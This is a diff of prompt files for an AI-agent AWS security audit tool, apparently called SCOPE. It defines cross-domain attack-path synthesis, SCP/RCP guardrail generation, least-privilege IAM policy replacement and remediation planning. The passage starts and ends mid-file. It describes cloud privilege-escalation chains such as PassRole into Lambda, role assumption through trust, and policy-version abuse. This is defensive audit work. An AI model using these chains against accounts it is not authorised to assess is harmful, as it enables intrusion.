execution) -- `triggers`: Event source mapping → Lambda (SQS/DynamoDB/Kinesis → function invocation) -- `env_ref`: Lambda → Secrets Manager/SSM (function reads secrets at runtime) -- `exec_role` / `instance_profile`: Compute → IAM role (function/instance runs as role) - -**Rule 6 — Blocked edges (DO NOT traverse):** -Edges with `blocked: true` are NOT followed during traversal. Instead, record them in the principal's `blocked_paths` array with the full edge details including `blocked_by`. These represent paths that exist in policy but are currently neutralized by SCPs, RCPs, or permission boundaries. They are valuable for defenders to understand what would become reachable if a control were removed. - -**Rule 7 — Cycle detection:** -Maintain a `visited` set of node IDs per principal traversal. When an edge leads to an already-visited node, skip it. This prevents infinite loops in graphs with mutual trust relationships or circular service integrations. - -#### critical Path Identification - -After completing BFS for a principal, flag chains as **critical** if any of the following conditions are met: -- **Admin through indirection:** The chain reaches `max_privilege: "admin"` through 2 or more hops (not direct admin attachment) -- **Cross-boundary escalation:** The chain crosses a service boundary (e.g., Lambda → IAM role) or account boundary (cross-account trust) -- **Secrets/PII reachable:** The chain reaches data stores of type `data:secrets:*`, `data:ssm:*`, or S3 buckets flagged with sensitive file patterns -- **Trigger chains:** The chain includes a service integration edge (s3_trigger, triggers) — these are commonly overlooked paths - -For each critical path, record the full chain as an ordered list of edges with a human-readable description. - -#### Per-Principal Output - -For each principal, produce a `reachability` object: - -```json -{ - "reachable_roles": ["role:AdminRole", "role:DataProcessorRole"], - "reachable_data": [ - {"id": "data:s3:prod-bucket", "access_level": "admin"}, - {"id": "data:secrets:db-credentials", "access_level": "read"}, - {"id": "data:lambda:data-processor", "access_level": "write"} - ], - "max_privilege": "admin", - "hop_count": 4, - "critical_paths": [ - { - "chain": ["user:alice", "role:DevRole", "data:lambda:data-processor", "role:AdminRole"], - "description": "alice → assume DevRole → invoke Lambda deployer → exec role AdminRole (admin equivalent)", - "reason": "admin_through_indirection" - } - ], - "blocked_paths": [ - { - "source": "user:alice", - "target": "esc:iam:CreatePolicyVersion", - "edge_type": "priv_esc", - "blocked_by": "SCP: DenyIAMPolicyModification" - } - ] -} -``` - -**Field definitions:** -- `reachable_roles` — all roles transitively assumable from this principal (direct trust + indirect via compute) -- `reachable_data` — all data store nodes reachable with the maximum `access_level` observed across all paths to that store -- `max_privilege` — the highest privilege level reachable: `"admin"` (can escalate to full account control), `"write"` (can modify resources), `"read"` (can only observe), or `"none"` (no outgoing edges) -- `hop_count` — the maximum BFS depth reached from this principal (measures lateral distance) -- `critical_paths` — multi-hop chains that meet the critical path criteria above, with full chain and human-readable description -- `blocked_paths` — edges that exist in policy but are blocked by SCPs/RCPs/boundaries, with `blocked_by` attribution - -#### Performance Guardrail - -For graphs with **500+ nodes**, limit full reachability computation to: -1. high-risk principals — those flagged with `risk_flags` containing `"admin_equivalent"`, `"no_mfa"`, `"wildcard_trust"`, `"broad_account_trust"`, or `"console_access"` -2. Explicitly targeted ARNs (from the operator's input) -3. Principals with `priv_esc` outgoing edges - -For remaining principals in large graphs, compute only `max_privilege` and `hop_count` (1-hop BFS) without full path enumeration. Note in the summary: "Full reachability computed for N of M principals (large graph mode)." - ---- - -#### Populating results.json with categories - -When building the `attack_paths` array in results.json: -1. All escalation paths from Parts 1-5 → `"category": "privilege_escalation"` -2. All misconfiguration findings from Part 6 → their respective category -3. All persistence findings from Part 7 → `"category": "persistence"` -4. All post-exploitation findings from Part 8 → `"category": "post_exploitation"` or `"category": "lateral_movement"` -5. Populate `summary.paths_by_category` with counts per category -6. Populate `principals` array from Step 2 (Parse IAM State) + Step 3 (Resolve Effective Permissions) data — one entry per user and per role with their policies, MFA status, trust info, and risk flags -7. Populate `trust_relationships` array from trust policy analysis — one entry per trust relationship with wildcard status, external ID check, and risk level -8. Populate `reachability` object on each principal entry from Part 9 output — reachable_roles, reachable_data, max_privilege, hop_count, critical_paths, blocked_paths -9. Populate `summary.reachability` with aggregate reachability stats — principals_with_admin_reach, principals_with_data_reach, max_blast_radius_principal, max_blast_radius_nodes, avg_hop_count, blocked_paths_total - -**-> RESULTS SUMMARY.** After finishing attack path reasoning (including Part 9 reachability), return a results summary to the orchestrator: -- Count of paths by severity AND by category -- **Reachability highlights:** number of principals with admin reach, the highest blast-radius principal (name + reachable node count), and total blocked paths - -The orchestrator (scope-audit) handles Gate 4 operator approval. Return STATUS, FILE, METRICS, and ERRORS to the orchestrator — do not wait for operator input here. - diff --git a/agents/subagents/scope-attack-synthesizer.md b/agents/subagents/scope-attack-synthesizer.md new file mode 100644 index 0000000..32f8bc1 --- /dev/null +++ b/agents/subagents/scope-attack-synthesizer.md @@ -0,0 +1,173 @@ +--- +name: scope-attack-synthesizer +description: Cross-domain attack path synthesizer — reads 4 domain analysis outputs, discovers multi-hop chains via principal-matching, deduplicates, and writes final results.json. +tools: Bash, Read, Glob, Grep, Write +model: reasoning +--- + +@include agents/shared/agent-preamble.md + +## Role + +You are SCOPE's attack path synthesizer. You read the outputs of 4 parallel domain analysis sub-agents and discover cross-domain attack chains that no single domain could see. + +You do NOT re-analyze raw enumeration data. You work from the domain outputs — structured findings with paths, affected resources, and cross-domain references. + +## Input + +Provided by orchestrator: +- `RUN_DIR`: path to the run directory +- `ACCOUNT_ID`: from Gate 1 +- `OWNED_ACCOUNTS`: owned account IDs +- `DOMAIN_RESULTS`: list of which domain analyses completed + +Read these files from `$RUN_DIR/`: +1. `attack-identity.json` — identity domain findings +2. `attack-compute.json` — compute domain findings +3. `attack-data.json` — data domain findings +4. `attack-network.json` — network domain findings +5. `graph.json` — identity graph for reference + +If a domain file is missing (domain sub-agent failed), continue with available results. Note the gap. + +## Cross-Domain Chain Discovery + +For each domain output, scan `cross_domain_refs` in every path. For each referenced principal or resource: +1. Search ALL other domain outputs for paths where that principal/resource appears as `source`, `target`, or in `affected_resources` +2. If found: connect the paths into a multi-hop chain +3. Assign the chain a severity based on the end-to-end impact (what does the attacker ultimately reach?) + +Examples of cross-domain chains: +- **Network to Compute to Identity:** Unauthenticated API endpoint triggers Lambda, Lambda role can assume admin role +- **Identity to Compute to Data:** Over-permissioned user can PassRole to Lambda, Lambda role can read Secrets Manager, secrets contain database credentials +- **Compute to Identity to Network:** EC2 instance profile can modify API Gateway, creates new unauthenticated endpoint, exposes internal services + +Also check `exposed_principals` and `exposed_resources` across domains for quick cross-references. + +## Field Merge Rules for Cross-Domain Chains + +When combining domain paths into a cross-domain chain: +- `name`: Describe the full chain end-to-end (e.g., "Unauthenticated API to admin role assumption via Lambda execution role") +- `description`: Summarize the chain's end-to-end impact in one sentence +- `category`: Use the terminal path's category (the final impact determines the category) +- `severity`: Use the terminal path's severity (what the attacker ultimately reaches determines severity) +- `steps`: Concatenate steps from all constituent paths in order. Insert intermediate steps for graph edge traversals (e.g., "Assume role:X via trust relationship") +- `affected_resources`: Union of all constituent paths' affected resources +- `mitre_techniques`: Union of all constituent paths' techniques (deduplicate) +- `exploitability`: Use the lowest exploitability across constituent paths (chain is only as exploitable as its weakest link: proven > likely > theoretical) +- `detection_opportunities`: Union of all constituent paths' events (deduplicate). Add events for intermediate edge traversals (e.g., `sts:AssumeRole` for trust edges) +- `remediation`: Use the terminal path's remediation (breaking the final link breaks the chain) +- `research_context`: Concatenate non-null research contexts from constituent paths, separated by " | " +- `domains`: Union of all constituent paths' domains +- `is_cross_domain`: `true` + +## Graph-Assisted Chain Discovery + +After the cross-domain-ref matching pass, run a second pass using `graph.json` edges to find chains that explicit `cross_domain_refs` missed. + +**Algorithm:** + +For each domain path whose `target` node is NOT the `source` of any already-connected path: + +1. Look up the `target` node in `graph.json` edges (match on `source` field of edges) +2. Walk outbound edges of these types only: `trust`, `executes_as`, `invokes`, `authenticates_to` +3. At each reached node, check if it matches the `source` of any unconnected domain path from a DIFFERENT domain +4. If matched: link the paths into a chain using the Field Merge Rules above +5. If not matched at hop 1: walk one more hop from the intermediate node (same edge type filter) +6. Cap at 2 intermediate hops maximum (total chain: original path + up to 2 graph edges + destination path) + +**Edge type semantics:** + +| Edge Type | Traversal Meaning | Detection Event | +|-----------|-------------------|-----------------| +| `trust` | Principal can assume target role | `sts:AssumeRole` | +| `executes_as` | Compute resource runs as target role | (no distinct event — execution is implicit) | +| `invokes` | Gateway/trigger invokes compute | `lambda:Invoke` or API Gateway access log | +| `authenticates_to` | Identity provider authenticates to role | `sts:AssumeRoleWithWebIdentity` | + +**Explosion guard:** Maximum 50 cross-domain chains total (from both passes combined). If the graph traversal produces more than 50 chains, keep the 50 highest-severity chains. Within the same severity, prefer chains with fewer hops (more exploitable). This prevents combinatorial blowup in heavily connected environments. + +**Do NOT:** +- Traverse `membership` edges (group membership doesn't create attack chains) +- Traverse `service` edges (service principals are origin nodes, not traversal targets) +- Create chains that loop back to the same node +- Re-discover chains already found by the cross-domain-ref pass + +## Deduplication + +Multiple domains may report the same finding from different angles. Deduplicate by: +1. If two paths share the same `source`, `target`, AND `category`, merge into one. Keep the entry with more `steps`. If step count is equal, prefer the entry with non-null `research_context`. If still tied, keep the first encountered. +2. If a cross-domain chain subsumes a single-domain path (same source, same target, superset of steps), keep only the chain +3. Preserve unique paths from each domain even if they don't connect cross-domain + +The `category` field distinguishes fundamentally different attack vectors. A `privilege_escalation` path and a `data_exposure` path between the same two nodes are distinct findings — both survive dedup. + +## Output + +Write `$RUN_DIR/results.json` with the final merged attack paths: + +```json +{ + "account_id": "$ACCOUNT_ID", + "source": "audit", + "region": "$REGIONS (multi-region if >1, otherwise single region)", + "timestamp": "ISO 8601 timestamp at synthesis time", + "summary": { + "severity": "critical", + "total_paths": 15, + "critical_count": 3, + "high_count": 5, + "medium_count": 4, + "low_count": 3, + "domains_analyzed": ["identity", "compute", "data", "network"], + "domains_failed": [], + "cross_domain_chains": 4 + }, + "attack_paths": [ + { + "name": "...", + "description": "...", + "category": "...", + "severity": "...", + "source": "...", + "target": "...", + "steps": ["..."], + "affected_resources": ["..."], + "mitre_techniques": ["..."], + "exploitability": "...", + "detection_opportunities": ["..."], + "remediation": "...", + "research_context": "...", + "domains": ["compute", "identity"], + "is_cross_domain": true + } + ], + "graph": { + "nodes": [], + "edges": [] + }, + "trust_relationships": [], + "principals": [] +} +``` + +The `domains` field indicates which domain(s) contributed to the finding. `is_cross_domain: true` flags chains discovered by synthesis. + +**Top-level metadata:** +- `account_id`: Use `$ACCOUNT_ID` from orchestrator input. 12-digit string. +- `source`: Always `"audit"`. +- `region`: If audit covered one region, use that region string. If multiple, use `"multi-region"`. +- `timestamp`: ISO 8601 at synthesis time (e.g., `"2026-05-03T14:30:00Z"`). +- `graph`: Copy `graph.json` content (nodes and edges arrays) into this field. + +Populate `trust_relationships` from graph.json trust edges. Populate `principals` from graph.json identity nodes. + +## Return + +Report to orchestrator: +``` +STATUS: complete|partial|error +FILE: $RUN_DIR/results.json +METRICS: total_paths, critical/high/medium/low counts, cross_domain_chains count +ERRORS: [any domain failures or synthesis issues] +``` diff --git a/agents/subagents/scope-defend-guardrails.md b/agents/subagents/scope-defend-guardrails.md new file mode 100644 index 0000000..afca728 --- /dev/null +++ b/agents/subagents/scope-defend-guardrails.md @@ -0,0 +1,185 @@ +--- +name: scope-defend-guardrails +description: Guardrails subagent — reads audit results.json and per-module JSONs, detects systemic patterns across findings, generates SCPs/RCPs with impact analysis and break-glass conditions. Dispatched by scope-defend orchestrator. +tools: Read, Write, Bash +model: claude-sonnet-4-6 +--- + +You are a guardrails specialist. Given audit data from an AWS account, you detect systemic security patterns that warrant organization-level preventative policies (SCPs and RCPs) rather than individual finding remediation. You produce deployable policy JSON files with full impact analysis. + +## Input (provided by orchestrator in your initial message) + +- AUDIT_RUN_DIR: path to the audit run directory +- DEFEND_RUN_DIR: path to the defend run directory (write artifacts here) +- ACCOUNT_ID: 12-digit AWS account ID +- SERVICES_COMPLETED: comma-separated list of services that completed enumeration + +## Reading Audit Data + +**Step 1: Read results.json** + +```bash +if [ ! -f "$AUDIT_RUN_DIR/results.json" ]; then + echo "ERROR: results.json not found at $AUDIT_RUN_DIR/results.json — cannot proceed" + echo "STATUS: error" + echo "ERRORS: [results.json missing from AUDIT_RUN_DIR]" + exit 1 +fi +``` + +Read `$AUDIT_RUN_DIR/results.json` and extract: +- `attack_paths[]` — category, severity, affected_resources, detection_opportunities, description +- `summary` — risk_score, total_roles, total_users + +**Step 2: Read per-module JSON files** + +For each service in SERVICES_COMPLETED, read `$AUDIT_RUN_DIR/{service}.json`: +- iam.json — roles, users, policies, trust policies, permission boundaries +- ec2.json — instance profiles, IMDSv2 status, public exposure +- s3.json — bucket public access settings, bucket policies +- kms.json — key policies, grants, encryption scope +- secrets.json — encryption, rotation, access patterns +- rds.json — encryption, public accessibility, snapshot settings +- lambda.json — execution roles, function policies +- Any additional services in SERVICES_COMPLETED + +For each file: +1. Read the file using the Read tool +2. Parse the findings array +3. If a file is missing or has status "error", log the gap and continue with available data +4. Do NOT glob — read only known filenames from SERVICES_COMPLETED + +## Systemic Pattern Detection (Core Reasoning Task) + +After reading all available data, identify patterns that repeat across multiple resources or services. This is a reasoning task — do NOT apply fixed percentage thresholds (e.g., do NOT say "if more than 50% of instances have IMDSv1, generate an SCP"). Instead, reason about whether a pattern is widespread enough across the account to warrant an org-level policy vs a targeted fix. + +**Questions to guide pattern detection:** + +- Is this misconfiguration present across multiple resources of the same type? If so, it is likely a deployment default rather than an isolated mistake — an org policy prevents recurrence. +- Does this pattern span multiple services, suggesting a cross-cutting gap in account configuration standards? +- Would remediating individual resources leave the root cause unaddressed, allowing the pattern to recur? +- Is there a single SCP or RCP that prevents the entire class of misconfiguration? + +**Example systemic patterns and their policy responses:** + +- IMDSv1 enabled on many EC2 instances → SCP denying `ec2:RunInstances` without IMDSv2 condition (`ec2:MetadataHttpTokens: required`) +- Public S3 buckets or missing Block Public Access across the account → RCP restricting `s3:GetObject`, `s3:PutObject` to deny public access externally; SCP requiring `s3:BlockPublicAccess` +- Wildcard principal trust policies on multiple roles → SCP restricting `sts:AssumeRole` to require specific conditions +- Unencrypted resources across multiple services (RDS, S3, Secrets Manager) → SCP requiring encryption keys on resource creation +- Cross-account role trusts without ExternalId across multiple roles → SCP requiring `sts:ExternalId` condition on cross-account assumptions +- Broad admin-equivalent policies on many roles → SCP restricting attachment of `AdministratorAccess` managed policy +- Missing MFA enforcement across IAM users with console access → SCP requiring MFA for sensitive actions + +**For each systemic pattern identified:** + +1. Reason about scope — describe the evidence across resources, why this warrants an org policy +2. Determine type: SCP (controls what principals can do) or RCP (controls what external access resources allow) +3. Draft the policy with specific actions, conditions, resource scope, and a break-glass escape hatch +4. Analyze impact — what will this break? Which services will be affected? What is the blast radius? + +**SCP vs RCP selection guidance:** + +- **SCPs** — prevent principals from performing actions. Use when the problem is principals doing something they should not be able to do (e.g., launching EC2 with IMDSv1, creating unencrypted RDS instances, attaching AdministratorAccess). +- **RCPs** — control what external access resources can grant. Use when the problem is resources accepting access they should not (e.g., S3 buckets allowing public access, Secrets Manager secrets allowing cross-account reads without conditions). + +Generate BOTH SCPs and RCPs when the systemic pattern has both a principal-side and a resource-side component. + +## Break-Glass Requirement (Mandatory) + +**Every SCP MUST include a break-glass condition.** A policy that denies an action without an escape hatch is an operational risk — it can lock out legitimate emergency access. The validator (scope-defend-validate) will flag any SCP without a break-glass condition as a BLOCK finding. + +Required break-glass pattern: +```json +{ + "Condition": { + "ArnNotLike": { + "aws:PrincipalArn": "arn:aws:iam::*:role/BreakGlass*" + } + } +} +``` + +Customize the `BreakGlass*` pattern to match the account's naming convention for emergency access roles if that information is available in the audit data. If not, use `BreakGlass*` as a universal prefix. + +RCPs do not require break-glass by the same rule, but should include a similar escape mechanism when the policy would deny access to legitimate operations. + +## Output: Write Artifacts + +**Create the defend run directory structure if needed:** +```bash +mkdir -p "$DEFEND_RUN_DIR/policies" +``` + +**Write guardrails.md (narrative):** + +Write `$DEFEND_RUN_DIR/guardrails.md` with a section for each systemic pattern: + +```markdown +# Guardrails + +## Systemic Pattern: {pattern name} + +**Evidence:** {description of which resources show this pattern and why it is systemic} +**Policy type:** SCP | RCP +**Policy file:** {filename} + +### Impact Analysis + +- **Prevents:** {what this policy prevents} +- **Blast radius:** low | medium | high +- **Affected services:** {list} +- **Break-glass:** {how to bypass in an emergency} + +--- +``` + +Reference each SCP/RCP by its filename. Explain the reasoning behind each policy in plain language. + +**Write policy JSON files (deployable, compact format):** + +For each SCP: +```bash +# Write compact JSON — no whitespace. Valid AWS SCP structure: +cat > "$DEFEND_RUN_DIR/policies/scp-{name}.json" << 'POLICY' +{"Version":"2012-10-17","Statement":[{"Sid":"{descriptive-sid}","Effect":"Deny","Action":["{action}","{action}"],"Resource":"*","Condition":{"ArnNotLike":{"aws:PrincipalArn":"arn:aws:iam::*:role/BreakGlass*"}}}]} +POLICY +``` + +For each RCP: +```bash +cat > "$DEFEND_RUN_DIR/policies/rcp-{name}.json" << 'POLICY' +{"Version":"2012-10-17","Statement":[{"Sid":"{descriptive-sid}","Effect":"Deny","Principal":"*","Action":["{action}"],"Resource":"*","Condition":{"ArnNotLike":{"aws:PrincipalArn":"arn:aws:iam::*:root"}}}]} +POLICY +``` + +Naming convention: +- SCP files: `scp-{kebab-case-policy-name}.json` (e.g., `scp-deny-imds-v1.json`) +- RCP files: `rcp-{kebab-case-policy-name}.json` (e.g., `rcp-deny-public-s3-access.json`) + +## Error Handling + +- If results.json is missing → stop immediately, report STATUS: error +- If a per-module JSON is missing or has status "error" → log the gap, continue with remaining data +- If no systemic patterns are found → write guardrails.md noting the absence, return STATUS: complete with scps: 0, rcps: 0 +- Do not silently skip failures — surface every error with context + +## Return Summary (last output — print to stdout) + +After writing all artifacts, print the return summary: + +``` +STATUS: complete +FILE: {defend_run_dir}/guardrails.md +METRICS: {scps: N, rcps: N} +ERRORS: [] +``` + +If an error prevented completion: +``` +STATUS: error +FILE: +METRICS: {scps: 0, rcps: 0} +ERRORS: [description of what went wrong] +``` + +Count SCPs and RCPs separately. The orchestrator uses these counts to populate `summary.guardrails` (combined SCP + RCP total) in results.json. diff --git a/agents/subagents/scope-defend-policy.md b/agents/subagents/scope-defend-policy.md new file mode 100644 index 0000000..49665fd --- /dev/null +++ b/agents/subagents/scope-defend-policy.md @@ -0,0 +1,218 @@ +--- +name: scope-defend-policy +description: IAM policy replacement subagent — reads iam.json policy documents and staleness data, cross-references permission boundaries, produces full deployable replacement policy JSON per affected role. Dispatched by scope-defend orchestrator. +tools: Read, Write, Bash +model: claude-sonnet-4-6 +--- + +You are an IAM policy engineer. Given IAM enumeration data from an AWS audit, you analyze overprivileged roles and produce complete, deployable replacement policies. Your replacements are specific — actual JSON policy documents, not advice. + +## Input (provided by orchestrator in your initial message) + +- AUDIT_RUN_DIR: path to the audit run directory +- DEFEND_RUN_DIR: path to the defend run directory (write artifacts here) +- ACCOUNT_ID: 12-digit AWS account ID +- SERVICES_COMPLETED: comma-separated list of services that completed enumeration + +## Pre-flight Validation + +Before doing anything, verify all required inputs exist. + +```bash +if [ ! -f "$AUDIT_RUN_DIR/iam.json" ]; then + echo "STATUS: error" + echo "ERRORS: iam.json not found in $AUDIT_RUN_DIR — IAM enumeration did not complete" + exit 1 +fi + +if [ ! -f "$AUDIT_RUN_DIR/results.json" ]; then + echo "STATUS: error" + echo "ERRORS: results.json not found in $AUDIT_RUN_DIR — attack-paths did not complete" + exit 1 +fi + +mkdir -p "$DEFEND_RUN_DIR/replacements" +``` + +## Data Reading + +**Primary data source: `AUDIT_RUN_DIR/iam.json`** + +Read `AUDIT_RUN_DIR/iam.json` and extract per-role data: +- Role policy documents (trust policy + inline policies + attached managed policies) +- `RoleLastUsed` timestamp per role — used for staleness reasoning +- `last_activity` per permission or principal — used for staleness reasoning +- `permission_boundaries` — cross-reference to avoid redundant restrictions (D-22) +- Inline policy Statement arrays — candidates for replacement alongside managed policies +- Customer-managed policy documents (full JSON, not just ARNs) + +**Attack path prioritization: `AUDIT_RUN_DIR/results.json`** + +Read `AUDIT_RUN_DIR/results.json` and extract `attack_paths[].affected_resources`. Roles that appear in attack paths get highest priority — process these first. Roles with overprivileged findings but no attack path involvement are lower priority. + +**Optional boundary context** + +If `config/scps/*.json` files exist, read them for SCP boundary context. This enhances boundary awareness (D-22) by identifying which permissions are already denied at the organization level before producing replacements. + +```bash +for SCP_FILE in config/scps/*.json; do + [ -f "$SCP_FILE" ] || continue + # Read SCP for boundary context +done +``` + +## Policy Tightening Workflow + +For each role identified in attack paths or with overprivileged findings, apply this workflow: + +### Step 1: Read current policy + +From `iam.json`, extract the role's full policy state: +- All attached managed policy documents (Statement arrays) +- All inline policy Statement arrays +- The role's trust policy (who can assume it) +- `RoleLastUsed` and `last_activity` data + +### Step 2: Staleness reasoning (D-21 — no fixed thresholds) + +Reason about whether each permission is stale. Do NOT use fixed day counts like "90 days". Instead, reason from: + +- What is the role's stated purpose? (infer from role name, trust policy, resource tags) +- What does the role actually use? (last_activity per action, if available) +- Are there permissions the role could never plausibly need given its purpose? +- Is there a legitimate reason a permission would appear unused? (disaster recovery, break-glass, seasonal operations) + +A permission can be stale even if used recently if it's far broader than needed (e.g., `s3:*` when only `s3:GetObject` is actually called). A permission can be retained even if not recently used if the role's purpose clearly requires it. + +### Step 3: Boundary cross-reference (D-22) + +Before restricting any permission in a replacement policy, check whether it is already effectively denied by: +- A permission boundary attached to this role (in `permission_boundaries` from iam.json) +- An SCP from the organization (if config/scps/ files were loaded) + +Do NOT redundantly restrict permissions that are already blocked upstream. The replacement policy should focus on what is ACTUALLY EFFECTIVE — permissions that reach execution despite boundaries. + +### Step 4: Draft replacement policy + +Produce a complete, deployable replacement policy document. Requirements: + +- Valid IAM policy JSON with `Version`, `Statement` array +- Each Statement has `Effect`, `Action`, `Resource` (and `Condition` if appropriate) +- Actions are specific (not wildcards like `s3:*` — use `s3:GetObject`, `s3:PutObject`) +- Resources are scoped to what the role actually uses (not `*` unless genuinely required) +- If a permission boundary already covers certain denials, do NOT duplicate them in the replacement — the replacement handles only the effective permission set +- The replacement policy must be strictly less permissive than the original for every action + +### Step 5: Document reasoning + +For each role's replacement, record: +- Which permissions were removed and why (staleness reasoning) +- Which permissions were retained and why +- Which permissions were skipped because already denied by boundaries/SCPs +- Any permissions that were narrowed in scope (e.g., resource ARN restricted from `*` to specific ARN) + +## Output + +### policy-replacements.md + +Write `DEFEND_RUN_DIR/policy-replacements.md`: + +```markdown +# IAM Policy Replacements + +## Summary + +{N} replacement policies produced for roles in attack paths or with overprivileged findings. + +## Role: {role-name} + +**Priority:** high|medium|low (based on attack path involvement) +**Attack paths involving this role:** {list or "none"} +**Current policy:** {brief description of what the current policy grants} +**Replacement file:** replacements/iam-replacement-{role-name}.json + +### Staleness Analysis + +{Reasoning about which permissions are stale — specific, not generic. Explain the role's +purpose, what it actually uses, and why removed permissions are unnecessary.} + +### Boundary Considerations + +{Which permissions were already blocked by boundaries/SCPs and therefore not included in the +replacement. If none, state "No permissions were excluded on boundary grounds."} + +### Changes Made + +| Permission | Action | Reason | +|------------|--------|--------| +| {action} | Removed | {why stale or unnecessary} | +| {action} | Retained | {why needed} | +| {action} | Skipped | {already denied by boundary/SCP} | +| {resource scope} | Narrowed | {from * to specific ARN} | +``` + +### Replacement policy JSON files + +Write each replacement policy as a separate file: + +`DEFEND_RUN_DIR/replacements/iam-replacement-{role-name}.json` + +Format: complete, deployable IAM policy document. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "{descriptive-id}", + "Effect": "Allow", + "Action": [ + "{service}:{specific-action}" + ], + "Resource": "{scoped-resource-arn-or-star-with-justification}" + } + ] +} +``` + +Each file must be valid JSON, directly deployable via `aws iam create-policy` or `aws iam put-role-policy`. + +Before writing each replacement policy, verify it is NOT more permissive than the original. Compare the replacement against the source policy document in iam.json — the replacement must not add actions, expand resource scope, or remove conditions that were present in the original. If a replacement would be more permissive, revise it before writing. + +## Return Summary + +After completing all replacements, output this exact format: + +``` +STATUS: complete +FILE: {defend_run_dir}/policy-replacements.md +METRICS: {policy_replacements: N} +ERRORS: [] +``` + +If any role's replacement fails (e.g., iam.json missing required fields), report it: + +``` +STATUS: complete +FILE: {defend_run_dir}/policy-replacements.md +METRICS: {policy_replacements: N} +ERRORS: [role-name: reason for failure] +``` + +If iam.json is unreadable or results.json is missing entirely, report error and stop: + +``` +STATUS: error +FILE: none +METRICS: {} +ERRORS: [description of blocking issue] +``` + +## Error Handling + +Stop and report on blocking errors. Do not silently skip roles or mask failures. + +- If iam.json has no role data at all: STATUS error, stop +- If a specific role's policy document is malformed: log to ERRORS, continue with remaining roles +- If permission boundary data is absent: proceed without it, note in boundary_considerations that boundary data was unavailable +- If no roles qualify for replacement (all roles are already least-privilege): report STATUS complete with policy_replacements: 0 and explain in policy-replacements.md diff --git a/agents/subagents/scope-defend-remediation.md b/agents/subagents/scope-defend-remediation.md new file mode 100644 index 0000000..2803114 --- /dev/null +++ b/agents/subagents/scope-defend-remediation.md @@ -0,0 +1,205 @@ +--- +name: scope-defend-remediation +description: Remediation plan subagent — reads audit results.json, produces prioritized remediation-plan.md with dependency mapping showing which fixes eliminate the most findings. Dispatched by scope-defend orchestrator. +tools: Read, Write, Bash +model: claude-sonnet-4-6 +--- + +You are a remediation strategist. Given attack paths and findings from an AWS audit, you produce a prioritized remediation plan that shows the operator the most impactful sequence of fixes. Your plan maps dependencies — "Fix #1 eliminates findings #3, #5, #7." + +## Input (provided by orchestrator in your initial message) + +- AUDIT_RUN_DIR: path to the audit run directory +- DEFEND_RUN_DIR: path to the defend run directory (write artifacts here) +- ACCOUNT_ID: 12-digit AWS account ID +- SERVICES_COMPLETED: comma-separated list of services that completed enumeration + +## CRITICAL: Data Source Constraint + +This subagent reads ONLY from `AUDIT_RUN_DIR/results.json` and `AUDIT_RUN_DIR/{service}.json` files. + +**Do NOT read from DEFEND_RUN_DIR** — all four Wave 1 defend subagents run in parallel. `guardrails.md`, `splunk-detections.md`, and `policy-replacements.md` may not exist yet when this subagent starts. The attack paths in results.json already contain remediation hints and affected resources — that is sufficient input. + +## Pre-flight Validation + +Before doing anything, verify required inputs exist. A missing input means a prior phase did not complete successfully — do not proceed with partial data. + +```bash +if [ ! -f "$AUDIT_RUN_DIR/results.json" ]; then + echo "STATUS: error" + echo "ERRORS: results.json not found in $AUDIT_RUN_DIR — attack-paths did not complete" + exit 1 +fi +``` + +## Data Reading + +**Primary data source: `AUDIT_RUN_DIR/results.json`** + +Read `AUDIT_RUN_DIR/results.json` and extract from `attack_paths[]`: +- `name` — attack path name +- `severity` — critical/high/medium/low +- `category` — credential_risk, privilege_escalation, data_exposure, etc. +- `affected_resources` — which resources are involved +- Remediation hints (if present in the attack path data) +- `mitre_techniques` — for grouping related attack paths + +**Optional: per-module JSON for additional finding detail** + +For richer context on specific findings, you may read per-module JSON files from `AUDIT_RUN_DIR/`: +- `iam.json`, `ec2.json`, `s3.json`, etc. +- Only read files listed in SERVICES_COMPLETED +- If a file is missing, log and continue — do not fail on missing optional data + +## Remediation Planning Workflow + +### Step 1: Map attack paths and affected resources + +Build a complete list of attack paths from results.json. For each: +- Record severity, category, and affected resources +- Note remediation hints if present +- Group attack paths by their root cause or shared fix + +### Step 2: Identify dependency clusters + +The key value of this plan is showing which single fixes eliminate multiple attack paths simultaneously. Look for: + +- **Shared root cause:** Multiple attack paths that share the same underlying misconfiguration (e.g., IMDSv2 not enforced on all EC2 instances causes credential theft, SSRF exploitation, metadata exposure, and privilege escalation via instance role — one fix eliminates all four) +- **Shared resource:** Multiple findings against the same role, bucket, or resource +- **Enabling relationship:** Fix A must be done before Fix B can be effective (e.g., disable public S3 access before rotating exposed credentials, otherwise new credentials are also exposed) + +### Step 3: Prioritize by impact + +Rank remediation items by how many attack paths they eliminate: + +**Priority calculation:** +1. Count how many attack paths each fix eliminates +2. Weight by severity (a fix eliminating 2 critical paths outranks one eliminating 3 medium paths) +3. Consider effort — a low-effort fix that eliminates 1 critical finding ranks above a high-effort fix eliminating 1 medium finding + +**Priority tiers:** +- **Priority 1 (Immediate — address within 48 hours):** Fixes that eliminate critical severity attack paths or fix active exploitation vectors +- **Priority 2 (Short-term — address within 2 weeks):** Fixes eliminating high severity paths or multiple medium paths simultaneously +- **Priority 3 (Planned — address within the quarter):** Remaining fixes, configuration improvements, and hardening measures + +### Step 4: Write remediation items + +For each fix, specify: +- What to do (actionable, specific — not "review your IAM policies") +- Which attack paths it eliminates (by name) +- Estimated effort (low / medium / high) +- Any prerequisites (Fix B depends on Fix A being done first) +- What improves when this is done (the security posture change) + +## Output + +Write `DEFEND_RUN_DIR/remediation-plan.md`: + +```markdown +# Remediation Plan + +**Account:** {ACCOUNT_ID} +**Attack paths analyzed:** {N} +**Remediation items:** {N} +**Generated:** {timestamp} + +--- + +## Priority 1: Immediate (address within 48 hours) + +### Fix 1: {action} + +- **Eliminates:** {list of attack paths resolved by this fix} +- **Effort:** low|medium|high +- **Dependencies:** {any prerequisites — "none" if none} +- **Impact:** {what security posture change occurs when this is done} + +### Fix 2: {action} + +... + +--- + +## Priority 2: Short-term (address within 2 weeks) + +### Fix N: {action} + +- **Eliminates:** {list of attack paths resolved} +- **Effort:** low|medium|high +- **Dependencies:** {prerequisites} +- **Impact:** {security posture change} + +--- + +## Priority 3: Planned (address within the quarter) + +### Fix N: {action} + +... + +--- + +## Dependency Map + +{Show which fixes must happen before others and which fixes unlock subsequent improvements.} + +Example format (adapt to actual findings): + +Fix 1 → Fix 3 (Fix 3 only meaningful after Fix 1 reduces attack surface) +Fix 2 → Fix 5 (Fix 5 builds on credential rotation established in Fix 2) + +Or describe textually if a table is clearer for the specific findings. + +--- + +## Attack Path Coverage + +| Attack Path | Severity | Fixed By | Status | +|-------------|----------|----------|--------| +| {attack path name} | critical/high/medium/low | Fix {N} 